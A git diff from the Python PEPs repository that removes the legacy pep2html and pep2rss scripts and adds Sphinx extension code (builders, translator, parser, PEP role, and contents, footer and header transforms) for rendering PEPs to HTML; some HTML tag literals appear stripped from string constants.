-        PEP_TYPE_MESSAGES['text/x-rst'] = (
-            'Docutils not present for "%(pep_type)s" PEP file %(inpath)s.  '
-            'See README.rst for installation.')
-    else:
-        installed = [int(part) for part in docutils.__version__.split('.')]
-        required = [int(part) for part in REQUIRES['docutils'].split('.')]
-        if installed < required:
-            PEP_TYPE_DISPATCH['text/x-rst'] = None
-            PEP_TYPE_MESSAGES['text/x-rst'] = (
-                'Docutils must be reinstalled for "%%(pep_type)s" PEP '
-                'processing (%%(inpath)s).  Version %s or better required; '
-                '%s present.  See README.rst for installation.'
-                % (REQUIRES['docutils'], docutils.__version__))
-
-def pep_type_error(inpath, pep_type):
-    print('Error: ' + PEP_TYPE_MESSAGES[pep_type] % locals(), file=sys.stderr)
-    sys.stdout.flush()
-
-
-def browse_file(pep):
-    import webbrowser
-    file = find_pep(pep)
-    if file.startswith('pep-') and file.endswith((".txt", '.rst')):
-        file = file[:-3] + "html"
-    file = os.path.abspath(file)
-    url = "file:" + file
-    webbrowser.open(url)
-
-def browse_remote(pep):
-    import webbrowser
-    file = find_pep(pep)
-    if file.startswith('pep-') and file.endswith((".txt", '.rst')):
-        file = file[:-3] + "html"
-    url = PEPDIRRUL + file
-    webbrowser.open(url)
-
-
-def main(argv=None):
-    # defaults
-    update = 0
-    local = 0
-    username = ''
-    verbose = 1
-    browse = 0
-
-    check_requirements()
-
-    if argv is None:
-        argv = sys.argv[1:]
-
-    try:
-        opts, args = getopt.getopt(
-            argv, 'bilhqu:',
-            ['browse', 'install', 'local', 'help', 'quiet', 'user='])
-    except getopt.error as msg:
-        usage(1, msg)
-
-    for opt, arg in opts:
-        if opt in ('-h', '--help'):
-            usage(0)
-        elif opt in ('-i', '--install'):
-            update = 1
-        elif opt in ('-l', '--local'):
-            update = 1
-            local = 1
-        elif opt in ('-u', '--user'):
-            username = arg
-        elif opt in ('-q', '--quiet'):
-            verbose = 0
-        elif opt in ('-b', '--browse'):
-            browse = 1
-
-    if args:
-        pep_list = []
-        html = []
-        for pep in args:
-            file = find_pep(pep)
-            pep_list.append(file)
-            newfile = make_html(file, verbose=verbose)
-            if newfile:
-                html.append(newfile)
-                if browse and not update:
-                    browse_file(pep)
-    else:
-        # do them all
-        pep_list = []
-        html = []
-        files = glob.glob("pep-*.txt") + glob.glob("pep-*.rst")
-        files.sort()
-        for file in files:
-            pep_list.append(file)
-            newfile = make_html(file, verbose=verbose)
-            if newfile:
-                html.append(newfile)
-        if browse and not update:
-            browse_file("0")
-
-    if update:
-        push_pep(html, pep_list, username, verbose, local=local)
-        if browse:
-            if args:
-                for pep in args:
-                    browse_remote(pep)
-            else:
-                browse_remote("0")
-
-
-
-if __name__ == "__main__":
-    main()
diff --git a/pep2rss.py b/pep2rss.py
deleted file mode 100755
index 3a71609405a..00000000000
--- a/pep2rss.py
+++ /dev/null
@@ -1,74 +0,0 @@
-#!/usr/bin/env python3
-
-# usage: pep-hook.py $REPOS $REV
-# (standard post-commit args)
-
-import os, glob, time, datetime, stat, re, sys
-import PyRSS2Gen as rssgen
-
-RSS_PATH = os.path.join(sys.argv[1], 'peps.rss')
-
-def firstline_startingwith(full_path, text):
-    for line in open(full_path, encoding="utf-8"):
-        if line.startswith(text):
-            return line[len(text):].strip()
-    return None
-
-# get list of peps with creation time
-# (from "Created:" string in pep .rst or .txt)
-peps = glob.glob('pep-*.txt')
-peps.extend(glob.glob('pep-*.rst'))
-def pep_creation_dt(full_path):
-    created_str = firstline_startingwith(full_path, 'Created:')
-    # bleh, I was hoping to avoid re but some PEPs editorialize
-    # on the Created line
-    m = re.search(r'''(\d+-\w+-\d{4})''', created_str)
-    if not m:
-        # some older ones have an empty line, that's okay, if it's old
-        # we ipso facto don't care about it.
-        # "return None" would make the most sense but datetime objects
-        # refuse to compare with that. :-|
-        return datetime.datetime(*time.localtime(0)[:6])
-    created_str = m.group(1)
-    try:
-        t = time.strptime(created_str, '%d-%b-%Y')
-    except ValueError:
-        t = time.strptime(created_str, '%d-%B-%Y')
-    return datetime.datetime(*t[:6])
-peps_with_dt = [(pep_creation_dt(full_path), full_path) for full_path in peps]
-# sort peps by date, newest first
-peps_with_dt.sort(reverse=True)
-
-# generate rss items for 10 most recent peps
-items = []
-for dt, full_path in peps_with_dt[:10]:
-    try:
-        n = int(full_path.split('-')[-1].split('.')[0])
-    except ValueError:
-        pass
-    title = firstline_startingwith(full_path, 'Title:')
-    author = firstline_startingwith(full_path, 'Author:')
-    url = 'https://www.python.org/dev/peps/pep-%0.4d/' % n
-    item = rssgen.RSSItem(
-        title = 'PEP %d: %s' % (n, title),
-        link = url,
-        description = 'Author: %s' % author,
-        guid = rssgen.Guid(url),
-        pubDate = dt)
-    items.append(item)
-
-# the rss envelope
-desc = """
-Newest Python Enhancement Proposals (PEPs) - Information on new
-language features, and some meta-information like release
-procedure and schedules
-""".strip()
-rss = rssgen.RSS2(
-    title = 'Newest Python PEPs',
-    link = 'https://www.python.org/dev/peps/',
-    description = desc,
-    lastBuildDate = datetime.datetime.now(),
-    items = items)
-
-with open(RSS_PATH, 'w', encoding="utf-8") as fp:
-    fp.write(rss.to_xml(encoding="utf-8"))
diff --git a/pep_sphinx_extensions/LICENCE.rst b/pep_sphinx_extensions/LICENCE.rst
new file mode 100644
index 00000000000..f147a8023e3
--- /dev/null
+++ b/pep_sphinx_extensions/LICENCE.rst
@@ -0,0 +1,2 @@
+This files in this directory are placed in the public domain or under the
+CC0-1.0-Universal license, whichever is more permissive.
\ No newline at end of file
diff --git a/pep_sphinx_extensions/__init__.py b/pep_sphinx_extensions/__init__.py
new file mode 100644
index 00000000000..17ed80b2cb1
--- /dev/null
+++ b/pep_sphinx_extensions/__init__.py
@@ -0,0 +1,106 @@
+"""Sphinx extensions for performant PEP processing"""
+
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from docutils.writers.html5_polyglot import HTMLTranslator
+from sphinx import environment
+from sphinx import project
+
+from pep_sphinx_extensions.pep_processor.html import pep_html_builder
+from pep_sphinx_extensions.pep_processor.html import pep_html_translator
+from pep_sphinx_extensions.pep_processor.parsing import pep_parser
+from pep_sphinx_extensions.pep_processor.parsing import pep_role
+from pep_sphinx_extensions.pep_processor.transforms import pep_references
+from pep_sphinx_extensions.pep_zero_generator.pep_index_generator import create_pep_zero
+
+if TYPE_CHECKING:
+    from sphinx.application import Sphinx
+    from sphinx.config import Config
+
+
+def find_files(self: environment.BuildEnvironment, config: Config, _b) -> None:
+    """Find all pep source files."""
+    import fnmatch
+    from pathlib import Path
+
+    root = Path(self.project.srcdir).absolute()
+    self.project.docnames = set()
+    for pattern in config.include_patterns:
+        for path in root.glob(pattern):
+            filename = str(path.relative_to(root))
+            if any(fnmatch.fnmatch(filename, pattern) for pattern in config.exclude_patterns):
+                continue
+
+            doc_name = self.project.path2doc(filename)
+            if not doc_name:
+                continue
+
+            if doc_name not in self.project.docnames:
+                self.project.docnames.add(doc_name)
+                continue
+
+            other_files = [str(f.relative_to(root)) for f in root.glob(f"{doc_name}.*")]
+            project.logger.warning(
+                f'multiple files found for the document "{doc_name}": {other_files!r}\n'
+                f'Use {self.doc2path(doc_name)!r} for the build.', once=True)
+
+
+environment.BuildEnvironment.find_files = find_files
+
+
+def _depart_maths():
+    pass  # No-op callable for the type checker
+
+
+def _update_config_for_builder(app: Sphinx) -> None:
+    app.env.document_ids = {}  # For PEPReferenceRoleTitleText
+    if app.builder.name == "dirhtml":
+        app.env.settings["pep_url"] = "/pep-{:0>4}"
+
+    # internal_builder exists if Sphinx is run by build.py
+    if "internal_builder" not in app.tags:
+        app.connect("build-finished", _post_build)  # Post-build tasks
+
+
+def _post_build(app: Sphinx, exception: Exception | None) -> None:
+    from pathlib import Path
+
+    from build import create_index_file
+
+    if exception is not None:
+        return
+    create_index_file(Path(app.outdir), app.builder.name)
+
+
+def setup(app: Sphinx) -> dict[str, bool]:
+    """Initialize Sphinx extension."""
+
+    environment.default_settings["pep_url"] = "/pep-{:0>4}.html"
+    environment.default_settings["halt_level"] = 2  # Fail on Docutils warning
+
+    # Register plugin logic
+    app.add_builder(pep_html_builder.FileBuilder, override=True)
+    app.add_builder(pep_html_builder.DirectoryBuilder, override=True)
+
+    app.add_source_parser(pep_parser.PEPParser)  # Add PEP transforms
+
+    app.set_translator("html", pep_html_translator.PEPTranslator)  # Docutils Node Visitor overrides (html builder)
+    app.set_translator("dirhtml", pep_html_translator.PEPTranslator)  # Docutils Node Visitor overrides (dirhtml builder)
+
+    app.add_role("pep", pep_role.PEPRole(), override=True)  # Transform PEP references to links
+
+    app.add_post_transform(pep_references.PEPReferenceRoleTitleText)
+
+    # Register event callbacks
+    app.connect("builder-inited", _update_config_for_builder)  # Update configuration values for builder used
+    app.connect("env-before-read-docs", create_pep_zero)  # PEP 0 hook
+
+    # Mathematics rendering
+    inline_maths = HTMLTranslator.visit_math, _depart_maths
+    block_maths = HTMLTranslator.visit_math_block, _depart_maths
+    app.add_html_math_renderer("maths_to_html", inline_maths, block_maths)  # Render maths to HTML
+
+    # Parallel safety: https://www.sphinx-doc.org/en/master/extdev/index.html#extension-metadata
+    return {"parallel_read_safe": True, "parallel_write_safe": True}
diff --git a/pep_sphinx_extensions/pep_processor/html/pep_html_builder.py b/pep_sphinx_extensions/pep_processor/html/pep_html_builder.py
new file mode 100644
index 00000000000..f95d904113e
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/html/pep_html_builder.py
@@ -0,0 +1,55 @@
+from pathlib import Path
+
+from docutils import nodes
+from docutils.frontend import OptionParser
+from sphinx.builders.html import StandaloneHTMLBuilder
+from sphinx.writers.html import HTMLWriter
+
+from sphinx.builders.dirhtml import DirectoryHTMLBuilder
+
+
+class FileBuilder(StandaloneHTMLBuilder):
+    copysource = False  # Prevent unneeded source copying - we link direct to GitHub
+    search = False  # Disable search
+
+    # Things we don't use but that need to exist:
+    indexer = None
+    relations = {}
+    _script_files = _css_files = []
+    globalcontext = {"script_files": [], "css_files": []}
+
+    def prepare_writing(self, _doc_names: set[str]) -> None:
+        self.docwriter = HTMLWriter(self)
+        _opt_parser = OptionParser([self.docwriter], defaults=self.env.settings, read_config_files=True)
+        self.docsettings = _opt_parser.get_default_values()
+
+    def get_doc_context(self, docname: str, body: str, _metatags: str) -> dict:
+        """Collect items for the template context of a page."""
+        try:
+            title = self.env.longtitles[docname].astext()
+        except KeyError:
+            title = ""
+
+        # source filename
+        file_is_rst = Path(self.env.srcdir, docname + ".rst").exists()
+        source_name = f"{docname}.rst" if file_is_rst else f"{docname}.txt"
+
+        # local table of contents
+        toc_tree = self.env.tocs[docname].deepcopy()
+        if len(toc_tree) and len(toc_tree[0]) > 1:
+            toc_tree = toc_tree[0][1]  # don't include document title
+            del toc_tree[0]  # remove contents node
+            for node in toc_tree.findall(nodes.reference):
+                node["refuri"] = node["anchorname"] or '#'  # fix targets
+            toc = self.render_partial(toc_tree)["fragment"]
+        else:
+            toc = ""  # PEPs with no sections -- 9, 210
+
+        return {"title": title, "sourcename": source_name, "toc": toc, "body": body}
+
+
+class DirectoryBuilder(FileBuilder):
+    # sync all overwritten things from DirectoryHTMLBuilder
+    name = DirectoryHTMLBuilder.name
+    get_target_uri = DirectoryHTMLBuilder.get_target_uri
+    get_outfilename = DirectoryHTMLBuilder.get_outfilename
diff --git a/pep_sphinx_extensions/pep_processor/html/pep_html_translator.py b/pep_sphinx_extensions/pep_processor/html/pep_html_translator.py
new file mode 100644
index 00000000000..8530ea77151
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/html/pep_html_translator.py
@@ -0,0 +1,105 @@
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from docutils import nodes
+import sphinx.writers.html5 as html5
+
+if TYPE_CHECKING:
+    from sphinx.builders import html
+
+
+class PEPTranslator(html5.HTML5Translator):
+    """Custom RST -> HTML translation rules for PEPs."""
+
+    def __init__(self, document: nodes.document, builder: html.StandaloneHTMLBuilder):
+        super().__init__(document, builder)
+        self.compact_simple: bool = False
+
+    @staticmethod
+    def should_be_compact_paragraph(node: nodes.paragraph) -> bool:
+        """Check if paragraph should be compact.
+
+        Omitting 
 tags around paragraph nodes gives visually compact lists.
+
+        """
+        # Never compact paragraphs that are children of document or compound.
+        if isinstance(node.parent, (nodes.document, nodes.compound)):
+            return False
+
+        # Check for custom attributes in paragraph.
+        for key, value in node.non_default_attributes().items():
+            # if key equals "classes", carry on
+            # if value is empty, or contains only "first", only "last", or both
+            # "first" and "last", carry on
+            # else return False
+            if any((key != "classes", not set(value) <= {"first", "last"})):
+                return False
+
+        # Only first paragraph can be compact (ignoring initial label & invisible nodes)
+        first = isinstance(node.parent[0], nodes.label)
+        visible_siblings = [child for child in node.parent.children[first:] if not isinstance(child, nodes.Invisible)]
+        if visible_siblings[0] is not node:
+            return False
+
+        # otherwise, the paragraph should be compact
+        return True
+
+    def visit_paragraph(self, node: nodes.paragraph) -> None:
+        """Remove 
 tags if possible."""
+        if self.should_be_compact_paragraph(node):
+            self.context.append("")
+        else:
+            self.body.append(self.starttag(node, "p", ""))
+            self.context.append("
\n")
+
+    def depart_paragraph(self, _: nodes.paragraph) -> None:
+        """Add corresponding end tag from `visit_paragraph`."""
+        self.body.append(self.context.pop())
+
+    def visit_footnote_reference(self, node):
+        self.body.append(self.starttag(node, "a", suffix="[",
+            CLASS=f"footnote-reference {self.settings.footnote_references}",
+            href=f"#{node['refid']}"
+        ))
+
+    def depart_footnote_reference(self, node):
+        self.body.append(']')
+
+    def visit_label(self, node):
+        # pass parent node to get id into starttag:
+        self.body.append(self.starttag(node.parent, "dt", suffix="[", CLASS="label"))
+
+        # footnote/citation backrefs:
+        back_refs = node.parent["backrefs"]
+        if self.settings.footnote_backlinks and len(back_refs) == 1:
+            self.body.append(f'')
+            self.context.append(f"]")
+        else:
+            self.context.append("]")
+
+    def depart_label(self, node) -> None:
+        """PEP link/citation block cleanup with italicised backlinks."""
+        self.body.append(self.context.pop())
+        back_refs = node.parent["backrefs"]
+        if self.settings.footnote_backlinks and len(back_refs) > 1:
+            back_links = ", ".join(f"{i}" for i, ref in enumerate(back_refs, start=1))
+            self.body.append(f" ({back_links}) ")
+
+        # Close the def tags
+        self.body.append("\n
")
+
+    def visit_bullet_list(self, node):
+        if isinstance(node.parent, nodes.section) and "contents" in node.parent["names"]:
+            self.body.append("
Table of Contents")
+            self.context.append("
")
+        super().visit_bullet_list(node)
+
+    def depart_bullet_list(self, node):
+        super().depart_bullet_list(node)
+        if isinstance(node.parent, nodes.section) and "contents" in node.parent["names"]:
+            self.body.append(self.context.pop())
+
+    def unknown_visit(self, node: nodes.Node) -> None:
+        """No processing for unknown node types."""
+        pass
diff --git a/pep_sphinx_extensions/pep_processor/parsing/pep_parser.py b/pep_sphinx_extensions/pep_processor/parsing/pep_parser.py
new file mode 100644
index 00000000000..2ccbd6cb857
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/parsing/pep_parser.py
@@ -0,0 +1,32 @@
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from sphinx import parsers
+
+from pep_sphinx_extensions.pep_processor.transforms import pep_contents
+from pep_sphinx_extensions.pep_processor.transforms import pep_footer
+from pep_sphinx_extensions.pep_processor.transforms import pep_headers
+from pep_sphinx_extensions.pep_processor.transforms import pep_title
+
+if TYPE_CHECKING:
+    from docutils import transforms
+
+
+class PEPParser(parsers.RSTParser):
+    """RST parser with custom PEP transforms."""
+
+    supported = ("pep", "python-enhancement-proposal")  # for source_suffix in conf.py
+
+    def __init__(self):
+        """Mark the document as containing RFC 2822 headers."""
+        super().__init__(rfc2822=True)
+
+    def get_transforms(self) -> list[type[transforms.Transform]]:
+        """Use our custom PEP transform rules."""
+        return [
+            pep_headers.PEPHeaders,
+            pep_title.PEPTitle,
+            pep_contents.PEPContents,
+            pep_footer.PEPFooter,
+        ]
diff --git a/pep_sphinx_extensions/pep_processor/parsing/pep_role.py b/pep_sphinx_extensions/pep_processor/parsing/pep_role.py
new file mode 100644
index 00000000000..18ecdc9829d
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/parsing/pep_role.py
@@ -0,0 +1,35 @@
+from docutils import nodes
+from sphinx import roles
+
+
+class PEPRole(roles.ReferenceRole):
+    """Override the :pep: role"""
+
+    def run(self) -> tuple[list[nodes.Node], list[nodes.system_message]]:
+        # Get PEP URI from role text.
+        pep_str, _, fragment = self.target.partition("#")
+        try:
+            pep_num = int(pep_str)
+        except ValueError:
+            msg = self.inliner.reporter.error(f'invalid PEP number {self.target}', line=self.lineno)
+            prb = self.inliner.problematic(self.rawtext, self.rawtext, msg)
+            return [prb], [msg]
+        pep_base = self.inliner.document.settings.pep_url.format(pep_num)
+        if fragment:
+            ref_uri = f"{pep_base}#{fragment}"
+        else:
+            ref_uri = pep_base
+        if self.has_explicit_title:
+            title = self.title
+        else:
+            title = f"PEP {pep_num}"
+
+        return [
+            nodes.reference(
+                "", title,
+                internal=True,
+                refuri=ref_uri,
+                classes=["pep"],
+                _title_tuple=(pep_num, fragment)
+            )
+        ], []
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_contents.py b/pep_sphinx_extensions/pep_processor/transforms/pep_contents.py
new file mode 100644
index 00000000000..3810429ac78
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_contents.py
@@ -0,0 +1,78 @@
+from __future__ import annotations
+
+from pathlib import Path
+
+from docutils import nodes
+from docutils import transforms
+from docutils.transforms import parts
+
+
+class PEPContents(transforms.Transform):
+    """Add TOC placeholder and horizontal rule after PEP title and headers."""
+
+    # Use same priority as docutils.transforms.Contents
+    default_priority = 380
+
+    def apply(self) -> None:
+        if not Path(self.document["source"]).match("pep-*"):
+            return  # not a PEP file, exit early
+        # Create the contents placeholder section
+        contents_section = nodes.section("")
+        if not self.document.has_name("contents"):
+            contents_section["names"].append("contents")
+        self.document.note_implicit_target(contents_section)
+
+        # Add a table of contents builder
+        pending = nodes.pending(Contents)
+        contents_section += pending
+        self.document.note_pending(pending)
+
+        # Insert the toc after title and PEP headers
+        self.document.children[0].insert(2, contents_section)
+
+        # Add a horizontal rule before contents
+        transition = nodes.transition()
+        self.document[0].insert(2, transition)
+
+
+class Contents(parts.Contents):
+    """Build Table of Contents from document."""
+    def __init__(self, document: nodes.document, startnode: nodes.Node | None = None):
+        super().__init__(document, startnode)
+
+        # used in parts.Contents.build_contents
+        self.toc_id = None
+        self.backlinks = None
+
+    def apply(self) -> None:
+        contents = self.build_contents(self.document[0][4:])  # skip PEP title, headers, 
, and contents
+        if contents:
+            self.startnode.replace_self(contents)
+        else:
+            # if no contents, remove the empty placeholder
+            self.startnode.parent.parent.remove(self.startnode.parent)
+
+    def build_contents(self, node: nodes.Node | list[nodes.Node], _level: None = None):
+        entries = []
+        children = getattr(node, "children", node)
+
+        for section in children:
+            if not isinstance(section, nodes.section):
+                continue
+
+            title = section[0]
+
+            # remove all pre-existing hyperlinks in the title (e.g. PEP references)
+            while (link_node := title.next_node(nodes.reference)) is not None:
+                link_node.replace_self(link_node[0])
+            ref_id = section['ids'][0]
+            title["refid"] = ref_id  # Add a link to self
+            entry_text = self.copy_and_filter(title)
+            reference = nodes.reference("", "", refid=ref_id, *entry_text)
+            item = nodes.list_item("", nodes.paragraph("", "", reference))
+
+            item += self.build_contents(section)  # recurse to add sub-sections
+            entries.append(item)
+        if entries:
+            return nodes.bullet_list('', *entries)
+        return []
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_footer.py b/pep_sphinx_extensions/pep_processor/transforms/pep_footer.py
new file mode 100644
index 00000000000..80214f43e67
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_footer.py
@@ -0,0 +1,102 @@
+import datetime
+from pathlib import Path
+import subprocess
+
+from docutils import nodes
+from docutils import transforms
+
+
+class PEPFooter(transforms.Transform):
+    """Footer transforms for PEPs.
+
+     - Remove the References/Footnotes section if it is empty when rendered.
+     - Create a link to the (GitHub) source text.
+
+    Source Link:
+        Create the link to the source file from the document source path,
+        and append the text to the end of the document.
+
+    """
+
+    # Uses same priority as docutils.transforms.TargetNotes
+    default_priority = 520
+
+    def apply(self) -> None:
+        pep_source_path = Path(self.document["source"])
+        if not pep_source_path.match("pep-*"):
+            return  # not a PEP file, exit early
+
+        # Iterate through sections from the end of the document
+        for section in reversed(self.document[0]):
+            if not isinstance(section, nodes.section):
+                continue
+            title_words = {*section[0].astext().lower().split()}
+            if {"references", "footnotes"} & title_words:
+                # Remove references/footnotes sections if there is no displayed
+                # content (i.e. they only have title & link target nodes)
+                to_hoist = []
+                types = set()
+                for node in section:
+                    types.add(type(node))
+                    if isinstance(node, nodes.target):
+                        to_hoist.append(node)
+                if types <= {nodes.title, nodes.target}:
+                    section.parent.extend(to_hoist)
+                    section.parent.remove(section)
+
+        # Add link to source text and last modified date
+        if pep_source_path.stem != "pep-0000":
+            if pep_source_path.stem != "pep-0210":  # 210 is entirely empty, skip
+                self.document += nodes.transition()
+            self.document += _add_source_link(pep_source_path)
+            self.document += _add_commit_history_info(pep_source_path)
+
+
+def _add_source_link(pep_source_path: Path) -> nodes.paragraph:
+    """Add link to source text on VCS (GitHub)"""
+    source_link = f"https://github.com/python/peps/blob/main/{pep_source_path.name}"
+    link_node = nodes.reference("", source_link, refuri=source_link)
+    return nodes.paragraph("", "Source: ", link_node)
+
+
+def _add_commit_history_info(pep_source_path: Path) -> nodes.paragraph:
+    """Use local git history to find last modified date."""
+    try:
+        since_epoch = LAST_MODIFIED_TIMES[pep_source_path.name]
+    except KeyError:
+        return nodes.paragraph()
+
+    iso_time = datetime.datetime.utcfromtimestamp(since_epoch).isoformat(sep=" ")
+    commit_link = f"https://github.com/python/peps/commits/main/{pep_source_path.name}"
+    link_node = nodes.reference("", f"{iso_time} GMT", refuri=commit_link)
+    return nodes.paragraph("", "Last modified: ", link_node)
+
+
+def _get_last_modified_timestamps():
+    # get timestamps and changed files from all commits (without paging results)
+    args = ["git", "--no-pager", "log", "--format=#%at", "--name-only"]
+    with subprocess.Popen(args, stdout=subprocess.PIPE) as process:
+        all_modified = process.stdout.read().decode("utf-8")
+        process.stdout.close()
+        if process.wait():  # non-zero return code
+            return {}
+
+    # set up the dictionary with the *current* files
+    last_modified = {path.name: 0 for path in Path().glob("pep-*") if path.suffix in {".txt", ".rst"}}
+
+    # iterate through newest to oldest, updating per file timestamps
+    change_sets = all_modified.removeprefix("#").split("#")
+    for change_set in change_sets:
+        timestamp, files = change_set.split("\n", 1)
+        for file in files.strip().split("\n"):
+            if file.startswith("pep-") and file[-3:] in {"txt", "rst"}:
+                if last_modified.get(file) == 0:
+                    try:
+                        last_modified[file] = float(timestamp)
+                    except ValueError:
+                        pass  # if float conversion fails
+
+    return last_modified
+
+
+LAST_MODIFIED_TIMES = _get_last_modified_timestamps()
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_headers.py b/pep_sphinx_extensions/pep_processor/transforms/pep_headers.py
new file mode 100644
index 00000000000..90872de0afc
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_headers.py
@@ -0,0 +1,214 @@
+from pathlib import Path
+import re
+
+from docutils import nodes
+from docutils import transforms
+from sphinx import errors
+
+from pep_sphinx_extensions.pep_processor.transforms import pep_zero
+from pep_sphinx_extensions.pep_processor.transforms.pep_zero import _mask_email
+
+
+class PEPParsingError(errors.SphinxError):
+    pass
+
+
+# PEPHeaders is identical to docutils.transforms.peps.Headers excepting bdfl-delegate, sponsor & superseeded-by
+class PEPHeaders(transforms.Transform):
+    """Process fields in a PEP's initial RFC-2822 header."""
+
+    # Run before pep_processor.transforms.pep_title.PEPTitle
+    default_priority = 330
+
+    def apply(self) -> None:
+        if not Path(self.document["source"]).match("pep-*"):
+            return  # not a PEP file, exit early
+
+        if not len(self.document):
+            raise PEPParsingError("Document tree is empty.")
+
+        header = self.document[0]
+        if not isinstance(header, nodes.field_list) or "rfc2822" not in header["classes"]:
+            raise PEPParsingError("Document does not begin with an RFC-2822 header; it is not a PEP.")
+
+        # PEP number should be the first field
+        pep_field = header[0]
+        if pep_field[0].astext().lower() != "pep":
+            raise PEPParsingError("Document does not contain an RFC-2822 'PEP' header!")
+
+        # Extract PEP number
+        value = pep_field[1].astext()
+        try:
+            pep_num = int(value)
+        except ValueError:
+            raise PEPParsingError(f"'PEP' header must contain an integer. '{value}' is invalid!")
+
+        # Special processing for PEP 0.
+        if pep_num == 0:
+            pending = nodes.pending(pep_zero.PEPZero)
+            self.document.insert(1, pending)
+            self.document.note_pending(pending)
+
+        # If there are less than two headers in the preamble, or if Title is absent
+        if len(header) < 2 or header[1][0].astext().lower() != "title":
+            raise PEPParsingError("No title!")
+
+        fields_to_remove = []
+        for field in header:
+            name = field[0].astext().lower()
+            body = field[1]
+            if len(body) == 0:
+                # body is empty
+                continue
+            elif len(body) > 1:
+                msg = f"PEP header field body contains multiple elements:\n{field.pformat(level=1)}"
+                raise PEPParsingError(msg)
+            elif not isinstance(body[0], nodes.paragraph):  # len(body) == 1
+                msg = f"PEP header field body may only contain a single paragraph:\n{field.pformat(level=1)}"
+                raise PEPParsingError(msg)
+
+            para = body[0]
+            if name in {"author", "bdfl-delegate", "pep-delegate", "sponsor"}:
+                # mask emails
+                for node in para:
+                    if not isinstance(node, nodes.reference):
+                        continue
+                    node.replace_self(_mask_email(node))
+            elif name in {"discussions-to", "resolution", "post-history"}:
+                # Prettify mailing list and Discourse links
+                for node in para:
+                    if (not isinstance(node, nodes.reference)
+                            or not node["refuri"]):
+                        continue
+                    # Have known mailto links link to their main list pages
+                    if node["refuri"].lower().startswith("mailto:"):
+                        node["refuri"] = _generate_list_url(node["refuri"])
+                    parts = node["refuri"].lower().split("/")
+                    if len(parts) <= 2 or parts[2] not in LINK_PRETTIFIERS:
+                        continue
+                    pretty_title = _make_link_pretty(str(node["refuri"]))
+                    if name == "post-history":
+                        node["reftitle"] = pretty_title
+                    else:
+                        node[0] = nodes.Text(pretty_title)
+            elif name in {"replaces", "superseded-by", "requires"}:
+                # replace PEP numbers with normalised list of links to PEPs
+                new_body = []
+                for pep_str in re.split(r",?\s+", body.astext()):
+                    target = self.document.settings.pep_url.format(int(pep_str))
+                    new_body += [nodes.reference("", pep_str, refuri=target), nodes.Text(", ")]
+                para[:] = new_body[:-1]  # drop trailing space
+            elif name in {"last-modified", "content-type", "version"}:
+                # Mark unneeded fields
+                fields_to_remove.append(field)
+
+            # Remove any trailing commas and whitespace in the headers
+            if para and isinstance(para[-1], nodes.Text):
+                last_node = para[-1]
+                if last_node.astext().strip() == ",":
+                    last_node.parent.remove(last_node)
+                else:
+                    para[-1] = last_node.rstrip().rstrip(",")
+
+        # Remove unneeded fields
+        for field in fields_to_remove:
+            field.parent.remove(field)
+
+
+def _generate_list_url(mailto: str) -> str:
+    list_name_domain = mailto.lower().removeprefix("mailto:").strip()
+    list_name = list_name_domain.split("@")[0]
+
+    if list_name_domain.endswith("@googlegroups.com"):
+        return f"https://groups.google.com/g/{list_name}"
+
+    if not list_name_domain.endswith("@python.org"):
+        return mailto
+
+    # Active lists not yet on Mailman3; this URL will redirect if/when they are
+    if list_name in {"csv", "db-sig", "doc-sig", "python-list", "web-sig"}:
+        return f"https://mail.python.org/mailman/listinfo/{list_name}"
+    # Retired lists that are closed for posting, so only the archive matters
+    if list_name in {"import-sig", "python-3000"}:
+        return f"https://mail.python.org/pipermail/{list_name}/"
+    # The remaining lists (and any new ones) are all on Mailman3/Hyperkitty
+    return f"https://mail.python.org/archives/list/{list_name}@python.org/"
+
+
+def _process_list_url(parts: list[str]) -> tuple[str, str]:
+    item_type = "list"
+
+    # HyperKitty (Mailman3) archive structure is
+    # https://mail.python.org/archives/list//thread/
+    if "archives" in parts:
+        list_name = (
+            parts[parts.index("archives") + 2].removesuffix("@python.org"))
+        if len(parts) > 6 and parts[6] in {"message", "thread"}:
+            item_type = parts[6]
+
+    # Mailman3 list info structure is
+    # https://mail.python.org/mailman3/lists/.python.org/
+    elif "mailman3" in parts:
+        list_name = (
+            parts[parts.index("mailman3") + 2].removesuffix(".python.org"))
+
+    # Pipermail (Mailman) archive structure is
+    # https://mail.python.org/pipermail//-/
+    elif "pipermail" in parts:
+        list_name = parts[parts.index("pipermail") + 1]
+        item_type = "message" if len(parts) > 6 else "list"
+
+    # Mailman listinfo structure is
+    # https://mail.python.org/mailman/listinfo/
+    elif "listinfo" in parts:
+        list_name = parts[parts.index("listinfo") + 1]
+
+    # Not a link to a mailing list, message or thread
+    else:
+        raise ValueError(
+            f"{'/'.join(parts)} not a link to a list, message or thread")
+
+    return list_name, item_type
+
+
+def _process_discourse_url(parts: list[str]) -> tuple[str, str]:
+    item_name = "discourse"
+
+    if len(parts) < 5 or ("t" not in parts and "c" not in parts):
+        raise ValueError(
+            f"{'/'.join(parts)} not a link to a Discourse thread or category")
+
+    first_subpart = parts[4]
+    has_title = not first_subpart.isnumeric()
+
+    if "t" in parts:
+        item_type = "post" if len(parts) > (5 + has_title) else "thread"
+    elif "c" in parts:
+        item_type = "category"
+        if has_title:
+            item_name = f"{first_subpart.replace('-', ' ')} {item_name}"
+
+    return item_name, item_type
+
+
+# Domains supported for pretty URL parsing
+LINK_PRETTIFIERS = {
+    "mail.python.org": _process_list_url,
+    "discuss.python.org": _process_discourse_url,
+}
+
+
+def _process_pretty_url(url: str) -> tuple[str, str]:
+    parts = url.lower().strip().strip("/").split("/")
+    try:
+        item_name, item_type = LINK_PRETTIFIERS[parts[2]](parts)
+    except KeyError as error:
+        raise ValueError(
+            f"{url} not a link to a recognized domain to prettify") from error
+    item_name = item_name.title().replace("Sig", "SIG").replace("Pep", "PEP")
+    return item_name, item_type
+
+
